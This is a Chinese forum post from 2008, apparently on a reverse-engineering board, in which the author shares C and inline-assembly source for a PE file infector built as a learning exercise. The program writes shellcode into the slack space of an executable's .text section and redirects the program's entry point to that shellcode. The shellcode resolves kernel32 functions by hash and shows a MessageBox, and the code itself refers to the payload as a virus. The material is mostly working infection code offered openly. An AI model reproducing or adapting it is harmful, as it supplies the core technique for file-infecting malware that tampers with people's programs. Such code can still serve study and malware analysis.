作 者: tangwenbin
时 间: 2008-08-27,19:36
链 接: http://bbs.pediy.com/showthread.php?t=71517
最近钻研了PE文件格式一段时间,想到写个程序测试一下自己的学习成果,费了九牛二虎之力写了个小程序,也算是作为学习后的一个小成果吧,写过这个程序也真正意识到汇编的作用,见缝插针啊。水平很菜,各位大侠不要笑话,错误之处,恳请批评指证。
把源代码贴上(xp sp2,VC6.0 debug编译通过):
#include <stdio.h>
#include <windows.h>
BOOL infect( char *p_fname);
void shellcode();
void shellcode_end();
char jmp_ins[5] = { '/xe9', 0, 0, 0, 0};
int main( int argc, char *argv[])
{
if ( argc < 2) {
printf("usage: infect a_pe_file/n");
return -1;
}
infect( argv[1]);
return 0;
}
#define DEFAULT_BASE 0x1000000
#define _var1 (-4)
__declspec(naked) void shellcode()
{
__asm {
call loc
loc:
pop eax // eax存放的就是本条指令的地址
jmp short start
}
__asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90
__asm _emit 0x0 __asm _emit 0x0 __asm _emit 0x0 __asm _emit 0x0
__asm _emit 0x0 __asm _emit 0x0 __asm _emit 0x0 __asm _emit 0x0
__asm _emit 'u' __asm _emit 's' __asm _emit 'e' __asm _emit 'r' __asm _emit '3' __asm _emit '2' __asm _emit '.' __asm _emit 'd' __asm _emit 'l' __asm _emit 'l' __asm _emit 0
__asm _emit 'M' __asm _emit 'e' __asm _emit 's' __asm _emit 's' __asm _emit 'a' __asm _emit 'g' __asm _emit 'e' __asm _emit 'B' __asm _emit 'o' __asm _emit 'x' __asm _emit 'A' __asm _emit 0
__asm _emit 'H' __asm _emit 'e' __asm _emit 'l' __asm _emit 'l' __asm _emit 'o' __asm _emit 0
__asm
{
start:
pushad
mov edi, eax
add edi, 3 // edi ptr to data area
mov ebp, esp
sub esp, 4
;push eax // eax contains the location of shellcode
// get base of k32
mov eax, fs:[0x30] // get PEB ptr
mov eax, [eax+0x0c] // get PED_LDR_DATA ptr
mov esi, [eax+0x1c] // esi ptr to the 1st loaded module, i.e. the NTDLL.DLL
lodsd // esi ptr to the 2nd loaded module, i.e. the KERNEL32.DLL
mov edx, [eax+0x08] // edx contains the base addr of KERNEL32.DLL
// search export table
mov eax, 0x331adddc
call get_func_addr
mov [edi+5], eax
mov eax, 0x99c95590
call get_func_addr
mov [edi+9], eax
lea eax, [edi+13] // user32.dll
push eax
call [edi+5] // eax contains the hmodule
lea ebx, [edi+24] // MessageBoxA
push ebx
push eax
call [edi+9] ; eax contains the addr of MessageBoxA
xor ecx, ecx
push ecx
lea ebx, [edi+36]
push ebx
push ebx
push ecx
call eax
jmp quit
; edx = dll base
; eax = hash
get_func_addr:
push ebx
push ecx
push esi
push edi
push ebp
mov ebp, eax
mov ebx, edx // ebx = base of k32
add ebx, [ebx+0x3c] // nt hdr
add ebx, 0x18 // opt hdr
add ebx, 0x60 // exp dir entry
mov ebx, [ebx] // ebx = rva of exp data
add ebx, edx // ebx = va of exp data
xor edi, edi // index
mov ecx, ebx
add ecx, 28
mov ecx, [ecx]
add ecx, edx // ecx = va of func addrs
add ebx, 32
mov ebx, [ebx]
add ebx, edx // ebx = va of func names
next_name:
mov esi, [ebx+edi]
add esi, edx // esi = va of name
add edi, 4
call get_hash // eax = hash
cmp eax, ebp
jnz next_name
sub edi, 4
mov esi, [ecx+edi]
add esi, edx // esi = va of func addr
mov eax, esi
pop ebp
pop edi
pop esi
pop ecx
pop ebx
ret
; esi = va of name
get_hash:
push esi
push ebx
push ecx
xor ebx, ebx
xor eax, eax
next_char:
lodsb
cmp al, 0
jz get_hash_over
mov ecx, ebx
shl ecx, 5
shr ebx, 27
or ebx, ecx
add ebx, eax
jmp next_char
get_hash_over:
mov eax, ebx
pop ecx
pop ebx
pop esi
ret
quit:
push edi
// search entry point
mov edi, DEFAULT_BASE
add edi, [edi+0x3c]
add edi, 0x18
add edi, 0x10
mov edi, [edi] // edi contains the entry point (rva)
add edi, DEFAULT_BASE // edi contains the entry point (va)
// save entry point at loc
mov _var1[ebp], edi
mov ecx, 5
pop esi
rep movsb
mov esp, ebp
popad
mov eax, [esp-36]
jmp eax
}
}
__declspec(naked) void shellcode_end()
{
}
BOOL infect( char *p_fname)
{
HANDLE h_file, h_fmapping;
PIMAGE_DOS_HEADER p_dos_hdr;
PIMAGE_NT_HEADERS p_nt_hdr;
PIMAGE_FILE_HEADER p_file_hdr;
PIMAGE_OPTIONAL_HEADER p_opt_hdr;
PIMAGE_SECTION_HEADER p_sect_hdr;
unsigned long sc_size, room = 0, off, i;
void *p_mem;
char *p_te, *p_entry, *p_tmp;
sc_size = 0x117;
// open file
h_file = CreateFile(p_fname, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if ( h_file == INVALID_HANDLE_VALUE ) {
printf("fail to open file, err# %08x/n", GetLastError());
goto err0;
}
// map file into memory
h_fmapping = CreateFileMapping(h_file, NULL, PAGE_READWRITE, 0, 0, NULL);
if ( h_fmapping == 0 ) {
printf("fail to create file mapping, err# %08x/n", GetLastError());
goto err1;
}
p_mem = MapViewOfFile(h_fmapping, FILE_MAP_ALL_ACCESS, 0, 0, 0);
if ( p_mem == 0) {
printf("couldn't map view of file, err# %08x/n", GetLastError());
goto err2;
}
// get DOS hdr and do sanity checking
p_dos_hdr = (PIMAGE_DOS_HEADER)p_mem;
if ( p_dos_hdr->e_magic != IMAGE_DOS_SIGNATURE) {
printf("unrecognized file format/n");
goto err3;
}
// get NT hdr and do sanity checking
p_nt_hdr = (PIMAGE_NT_HEADERS)((char *)p_dos_hdr + p_dos_hdr->e_lfanew);
if ( p_nt_hdr->Signature != IMAGE_NT_SIGNATURE) {
printf("invalid PE file, no NT signature found/n");
goto err3;
}
// get other hdrs
p_file_hdr = &p_nt_hdr->FileHeader;
p_opt_hdr = &p_nt_hdr->OptionalHeader;
p_sect_hdr = (PIMAGE_SECTION_HEADER)((char *)p_nt_hdr + sizeof(IMAGE_NT_HEADERS));
// get text section room
for ( i=0; i<p_file_hdr->NumberOfSections; i++, p_sect_hdr++) {
if ( !stricmp( ".text", p_sect_hdr->Name)) {
room = p_opt_hdr->FileAlignment - (p_sect_hdr->Misc.VirtualSize % p_opt_hdr->FileAlignment);
break;
}
}
if ( room < sizeof(sc_size)) {
printf("insufficient room for virus./n");
goto err3;
}
printf( "room = %08x/n", room);
printf("lfanew offset: %08x/n", (char *)&p_dos_hdr->e_lfanew - (char *)p_dos_hdr);
printf("opt-hdr offset: %08x/n", (char *)&p_nt_hdr->OptionalHeader - (char *)p_nt_hdr);
printf("entry offset: %08x/n", (char *)&p_opt_hdr->AddressOfEntryPoint - (char *)p_opt_hdr);
printf("exp offset: %08x/n", (char *)&(p_opt_hdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]) - (char *)p_opt_hdr);
p_entry = (char *)p_mem + p_sect_hdr->PointerToRawData + (p_opt_hdr->AddressOfEntryPoint - p_sect_hdr->VirtualAddress);
p_te = (char *)p_mem + p_sect_hdr->PointerToRawData + p_sect_hdr->Misc.VirtualSize;
off = *((unsigned long *)((char *)shellcode + 1));
p_tmp = ((char *)shellcode + off + 5);
memcpy( p_te, p_tmp, sc_size);
memcpy( p_te+8, p_entry, 5);
// create jmp struct
off = p_te - p_entry - 5;
*((unsigned long *)(jmp_ins + 1)) = off;
memcpy( p_entry, jmp_ins, 5);
p_sect_hdr->Characteristics |= 0x80000000;
printf("%08x/n", sizeof(IMAGE_FILE_HEADER));
err3:
UnmapViewOfFile(p_mem);
err2:
CloseHandle(h_fmapping);
err1:
CloseHandle( h_file);
err0:
return FALSE;
}
shellcode插.text节缝隙